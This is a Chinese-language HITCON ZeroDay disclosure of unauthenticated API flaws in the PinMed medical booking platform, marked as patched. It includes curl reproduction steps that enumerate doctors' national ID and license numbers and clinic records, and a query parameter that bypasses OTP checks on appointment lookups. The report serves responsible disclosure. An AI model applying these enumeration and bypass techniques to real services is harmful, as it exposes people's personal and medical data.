AlleyPin 翔評互動 後端 API 無認證存取,洩露大量醫師身分證字號、執照號碼及醫療院所完整資料 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00354
  •  發信 Vendor: 翔評互動股份有限公司
  • Title: AlleyPin 翔評互動 後端 API 無認證存取,洩露大量醫師身分證字號、執照號碼及醫療院所完整資料
  • Introduction: API 完全無需任何認證即可存取。

處理狀態

目前狀態

公開
Last Update : 2026/05/26
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/03/20 03:20:20 : 新提交 (由 Marco 更新此狀態)
  • 2026/03/24 00:13:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/26 18:54:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/26 18:54:01 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/26 18:54:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/11 17:53:26 : 新提交 (由 Marco 更新此狀態)
  • 2026/05/14 10:52:17 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/05/18 06:17:55 : 新提交 (由 Marco 更新此狀態)
  • 2026/05/18 13:57:25 : 新提交 (由 Marco 更新此狀態)
  • 2026/05/18 13:58:07 : 新提交 (由 Marco 更新此狀態)
  • 2026/05/19 12:12:11 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/05/25 17:08:27 : 確認已修補 (由 Marco 更新此狀態)
  • 2026/05/26 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00354
  • 通報者:mlgzackfly (Marco)
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://pinmed.alleypinapis.com/doctors?limit=5&offset=0
https://pinmed.alleypinapis.com/clinics?limit=5&offset=0
https://pinmed.alleypinapis.com/clinics/{clinicId}
https://pinmed.alleypinapis.com/api/v1/public/clinics/{clinicId}/resources
https://pinmed.alleypinapis.com/api/v1/public/clinics/{clinicId}/enduserAppointments?phone=...&bypassPhoneValidation=true

敘述

漏洞描述

PinMed(pinmed.co)是 AlleyPin 旗下的醫療預約平台,其後端 API 主機 pinmed.alleypinapis.com 的多個端點完全無需任何認證即可存取。

最嚴重的問題在 /doctors 端點:API 回傳的 IDNum 欄位直接包含醫師的台灣身分證字號(國民身分證統一編號),licenseID 欄位包含醫師執照號碼。這些欄位在 PinMed 網站前端有被函數過濾(刪除 IDNum),但該過濾僅在前端執行,API 本身不做任何過濾。

後端 API 發現方式

  1. PinMed(pinmed.co)的 production build 公開了所有 source map(.js.map
  2. 從 source map 提取出原始碼 src/helpers/envHelpers.js,確認環境變數名稱 PINMED_API
  3. 在 minified JS chunk 中搜尋,找到實際值 https://pinmed.alleypinapis.com
  4. 直接呼叫該 API,確認完全無需認證

重現步驟

Step 1:取得醫師資料(含身分證字號,無需認證)

curl "https://pinmed.alleypinapis.com/doctors?limit=5&offset=0"

圖片

回應(節錄):

{
  "data": [
    {
      "name": "劉*堯",
      "IDNum": "D1*******3",
      "licenseID": "牙字第0****8號",
      "licenseIssuedAt": "2026/03/09",
      "educations": ["某醫學院"],
      "id": "17b9****-****-****-****-********832"
    },
    {
      "name": "謝*慶",
      "IDNum": "A********3",
      "licenseID": "牙字第0****6號",
      "educations": ["某牙醫學院"]
    }
  ],
  "metaData": { "total": {已編輯} }
}

透過調整 offset 參數即可遍歷全部 n 位醫師。

驗證取得的身分證字號

對前 100 位醫師的 IDNum 進行台灣身分證字號驗證(格式:1 英文字母 + 1 性別碼 + 8 數字,含 checksum 驗算):

分類 數量 比例
真實身分證(checksum 通過) 84 84%
公司統編 5**6(誤填) 10 10%
格式不符(手動輸入錯誤) 4 4%
假資料/測試值(如 A123456789) 1 1%
空值 1 1%

對前 100 位醫師身分證進行 checksum 驗證,多數為真實身分證(具體比例與推算數字已隱碼)驗證範例(中間碼遮蔽):

劉○○ | D1******3 | 男 | 牙字第******號
謝○○ | A1******3 | 男 | 牙字第******號
陳○○ | P1******0 | 男 | 牙字第******號
陳○○ | S2******7 | 女 | 醫字第******號
莊○○ | H1******2 | 男 | 牙字第******號
朱○○ | L1******6 | 男 | 牙字第******號
周○○ | G2******8 | 女 | 醫字第******號
蔡○○ | B2******5 | 女 | 醫字第******號

過濾機制失效的根本原因

從 PinMed source map 提取出的原始碼 src/utils/filter.js

export const removeDoctorSensitiveData = (doctor) => {
  delete doctor.users;
  delete doctor.idnum;
  delete doctor.IDNum;
  delete doctor.licenseUrls;
  delete doctor.licenseID;
  delete doctor.licenseIssuedAt;
  return doctor;
};

此函數在前端呼叫(src/data/clinic.ts),但 API server 本身不執行任何過濾。直接呼叫 pinmed.alleypinapis.com 即繞過所有前端過濾。

以下為已完成敏感資訊遮罩(Masking)的 Markdown 版本,保留技術脈絡與漏洞說明,同時避免直接暴露個資或可濫用細節:


同一 API 的其他漏洞

A. 多間醫療院所完整資料洩露

curl "https://pinmed.alleypinapis.com/clinics?limit=5&offset=0"
# metaData.total: 20956

每間診所洩露以下頁面不可見的敏感欄位:

欄位 範例(已遮罩)
authorPhone(負責人手機) 0911****93
contactRequestEmails c******[email protected]
clientID(UUID 主鍵) d4a86e20-****-****-****-************
serviceStoreID 3703****41
lineOaID @266****
featureToggle {內部功能旗標}: false
note(內部備註) 排班 / 內部作業資訊
blacklist 黑名單設定

列舉結果涵蓋所有科別與狀態之診所,數量遠多於以單一科別篩選之搜尋結果


B. 醫師個人 email 洩露(resources 端點)

curl "https://pinmed.alleypinapis.com/api/v1/public/clinics/{clinicId}/resources"

回應包含醫師/管理人員的個人 email(已遮罩):


C. 預約查詢 OTP 驗證繞過

# 正常 → 要求 OTP 驗證
curl ".../enduserAppointments?phone=09******78&phoneCountryCode=886&statuses=confirmed"
# → {"error":"PhoneNotVerified"}

# 加入 bypassPhoneValidation=true → 繞過 OTP
curl ".../enduserAppointments?phone=09******78&phoneCountryCode=886&statuses=confirmed&bypassPhoneValidation=true"
# → []  (查詢成功,繞過 OTP)

bypassPhoneValidation 參數從 source map 原始碼中發現。攻擊者可利用任意手機號碼查詢診所預約紀錄(已去識別描述),無需 OTP 驗證。

影響

  1. 數位醫師的身分證字號被公開暴露:身分證字號為台灣最高等級的個人識別資料,可用於身份冒用、信用查詢、社交工程
  2. 數位醫師的執照號碼被暴露:配合姓名可偽造醫療文件
  3. 數間醫療院所的負責人手機、email 洩露:可用於精準的釣魚攻擊
  4. 預約查詢 OTP 驗證可被繞過:可查詢任意病患的預約紀錄
  5. 違反台灣《個人資料保護法》

修補建議

立即修復
移除 API 中的身分證字號:在 API server 端過濾 IDNum,不應在任何公開端點回傳
移除 API 中的執照號碼:過濾 licenseID、licenseIssuedAt
移除 bypassPhoneValidation:API server 不應接受此 query parameter,或限制為 server-side 內部呼叫
API 加入認證:pinmed.alleypinapis.com 的所有端點應要求 API Key 或 Bearer Token

短期修復
Server-side 欄位過濾:將過濾邏輯移到 API server 端
限制 listing 端點:加入 rate limiting、最大 limit 限制
隱藏後端 API URL:前端 JS 不應直接引用 pinmed.alleypinapis.com,改用 Next.js API routes proxy
關閉 source map:productionBrowserSourceMaps: false

長期改善
加密儲存身分證字號:資料庫中的身分證字號應加密儲存,API 回傳時解密並遮蔽
個資存取稽核:對身分證字號的存取建立稽核日誌
定期審查 API 端點:確認所有公開端點不會洩露敏感個資

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;